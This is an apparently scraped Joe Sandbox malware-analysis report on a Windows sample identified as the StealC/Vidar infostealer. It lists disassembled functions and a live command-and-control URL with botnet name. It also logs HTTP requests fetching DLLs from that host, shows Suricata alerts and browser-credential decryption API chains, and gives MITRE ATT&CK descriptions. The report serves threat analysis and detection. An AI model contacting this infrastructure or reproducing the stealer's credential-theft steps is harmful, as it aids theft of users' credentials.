Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: 7S+Y/
API String ID: 876075630-4163584386
Opcode ID: f1cd2c9889b455160bf196575f176f48b2b628f5202fe4490529d64d796aac53
Instruction ID: 578430dbdc3bb47e98de5072f54eeb3df2a0464803c19239bcbf15d17de50e83
Opcode Fuzzy Hash: f1cd2c9889b455160bf196575f176f48b2b628f5202fe4490529d64d796aac53
Instruction Fuzzy Hash: 9F118F71A00B059BC311CF29C85069BF7F0FF8A718F41461DD99A97A40EB72F958CB81

Function 6CBF94D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CBF94EE
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CBF9508

Strings

7S+Y/, xrefs: 6CBF94DC

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: __acrt_iob_func__stdio_common_vfprintf
String ID: 7S+Y/
API String ID: 2168557111-4163584386
Opcode ID: bde584d2ee792256c9337727ac9a0f0c8ec677228f8b7450296a47d16973ad9e
Instruction ID: 69882780c3ce2b9a5940c6dd40728aab04515e425afc38eb755488d041428e6a
Opcode Fuzzy Hash: bde584d2ee792256c9337727ac9a0f0c8ec677228f8b7450296a47d16973ad9e
Instruction Fuzzy Hash: 44F08975A0011C6FDB106F65EC49EAFBB78EF45698F404029F90D5B241DB316D18CBE5

Function 6CC16DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CC16E22
__Init_thread_footer.LIBCMT ref: 6CC16E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CC16E1D

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 25a36c3cd56587c6e82c90547229bc92be0e5b296e627498bf2527f4a953b1af
Instruction ID: bf2df3823df3d6f819ecb9037b8f6fcd5b6b98dce92178b3485b83f0effce63e
Opcode Fuzzy Hash: 25a36c3cd56587c6e82c90547229bc92be0e5b296e627498bf2527f4a953b1af
Instruction Fuzzy Hash: 73F024313486808FDA20ABA9E850E957B71EB17218F040AA6C44D86F71E760E506DE93

Function 6CC0B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CC0B2C9,?,?,?,6CC0B127,?,?,?,?,?,?,?,?,?,6CC0AE52), ref: 6CC0B628

Part of subcall function 6CC090E0: free.MOZGLUE(?,00000000,?,?,6CC0DEDB), ref: 6CC090FF
Part of subcall function 6CC090E0: free.MOZGLUE(?,00000000,?,?,6CC0DEDB), ref: 6CC09108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC0B2C9,?,?,?,6CC0B127,?,?,?,?,?,?,?,?,?,6CC0AE52), ref: 6CC0B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC0B2C9,?,?,?,6CC0B127,?,?,?,?,?,?,?,?,?,6CC0AE52), ref: 6CC0B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CC0B127,?,?,?,?,?,?,?,?), ref: 6CC0B74D

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d4617acdbf821d69a8cbb6fe37d08361c4fa8f619805c650078f1e201455e9d5
Instruction ID: e860b05414dc988b1c7247b936422dba7cf02ede5f32cf17ce18b1dcddc37933
Opcode Fuzzy Hash: d4617acdbf821d69a8cbb6fe37d08361c4fa8f619805c650078f1e201455e9d5
Instruction Fuzzy Hash: 8051DF75B052168FDB18CF59C9A076EB7B5FF85305F45852DC85AAB700EB32E804CBA1

Function 6CC1B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CBC0A4D), ref: 6CC1B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CBC0A4D), ref: 6CC1B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CBC0A4D), ref: 6CC1B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CBC0A4D), ref: 6CC1B67F

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4bc7eceba3d7e7a8d605521ad85d0e2353b0d440b994761d3340dc26d61d5649
Instruction ID: 0b0df9a17df1cfe4b3fdbbb157205adcbb07624699d613f843131905227f60fb
Opcode Fuzzy Hash: 4bc7eceba3d7e7a8d605521ad85d0e2353b0d440b994761d3340dc26d61d5649
Instruction Fuzzy Hash: EA3108B1A042268FDB14CF5AC85465EB7F5FF81304F168669C80A9BB01EB31E915CFE0

Function 6CBEF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBEF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CBEF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBEF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CBEF668

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: d6956c18237df1a0d40e6900c760495deeae8396c91a64cc4b3c6295bcf0f0d9
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 70315E71A00214AFD724CF59DCC0A9B77F5EB98794B188938EA498BB04E775ED44CB90

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.ac0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.ac0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00AC9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ACC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00ACC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00AC9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00AC7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00AD8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CBC6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49704 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49704 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJDAEGCAFIIDGDGCGIJ

C:\ProgramData\DGIJECGDGCBKECAKFBGC

C:\ProgramData\FCBAEHCAEGDHJKFHJKFIJKJEGH

C:\ProgramData\GDBAKEGIDBGIEBFHDHJJEHDHDG

C:\ProgramData\HIDBFCBG

C:\ProgramData\JDGIIJJDHDGCGDHIJDAK

C:\ProgramData\JKECGDBF

C:\ProgramData\KECFIDGCBFBAKEBFBKFBFBAFII

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00AD9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00AC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 6CBB35A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Function 00ACBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00AD4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00AD9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00AC7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

